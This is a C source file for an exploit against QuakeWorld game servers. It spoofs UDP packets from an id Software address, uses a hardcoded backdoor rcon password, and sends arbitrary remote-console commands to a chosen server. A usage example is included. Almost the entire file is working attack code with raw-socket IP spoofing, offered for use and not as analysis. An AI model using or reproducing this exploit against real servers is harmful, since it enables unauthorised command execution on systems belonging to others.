/* rcon.c
  Quake  world rcon_password bug implimentation by Jeff Roberson, <jroberson@chesapeake.net> (VallaH)
  Linux 2.0.33 source, will compile on BSD if you modify the ip header etc.
  Please note that I did not discover this, I simply wrote the code.
  Thanks to Nick Toomey, <ntoomey@chesapeake.net> (Grifter)

  Brief summary:
      Any rcon command coming from the idsoftware subnet 192.246.40 with the rcon password of tms will be accepted on any server.  This program simply spoofs a packet from vader.idsoftware.com (random pick) to whatever server you identify.

  Usage:
	./rcon ip/host "what you want to do" [port]
  Example:
	./rcon quake.idsoftware.com "say This program works, thanks Jeff" 27500
         the port argument is optional, you may omit it if you like and it will default to 27500.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>                                                

#define SIP "192.246.40.42" /* vader.idsoftware.com */
#define command "˙˙˙˙rcon tms "

u_long resolve_address(u_char *host)
{
	struct	in_addr	addr;
	struct	hostent	*he;

	if((addr.s_addr = inet_addr(host)) == -1) {
		if (!(he = gethostbyname(host))) {
			printf("Unknown address: %s\n", host); 
			exit(-1);
		}
		bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
	}
	return(addr.s_addr);
}
int main(int argc, char **argv)
{
	int	s;
	int	port=27500;
	char	buf[512];
	struct	sockaddr_in dst;
	struct	iphdr *iph=(struct iphdr *)buf;
	struct	udphdr *udp=(struct udphdr *)(buf + 20);

	if (argc<3) {
		printf("usage:\n");
		printf("\t%s ip ""command"" <port>\n", argv[0]);
		exit(-1);		
	}	
	if (argc==4) port = atoi(argv[3]);
	bzero(buf, sizeof(buf));
	bzero((char *)&dst, sizeof(dst));

	iph->version=4;
	iph->ihl=5;
	iph->tos=0;
	iph->tot_len=htons(sizeof(buf));
	iph->id=htons(1234);
	iph->frag_off=0;
	iph->ttl=255;
	iph->protocol=17;

	iph->saddr=inet_addr(SIP);
	iph->daddr=resolve_address(argv[1]);

	udp->source=htons(1234);
	udp->dest=htons(port);
	udp->len=htons(sizeof(buf) - 20);

	dst.sin_family=PF_INET;
	dst.sin_addr.s_addr=iph->daddr;
	dst.sin_port=htons(27500);

	sprintf((buf + 28), "%s%s\n", command, argv[2]); 

	if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("socket");
		exit(-1);
	}

	if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) {
		perror("sendto");
		exit(-1);
	}
	exit(1);
}
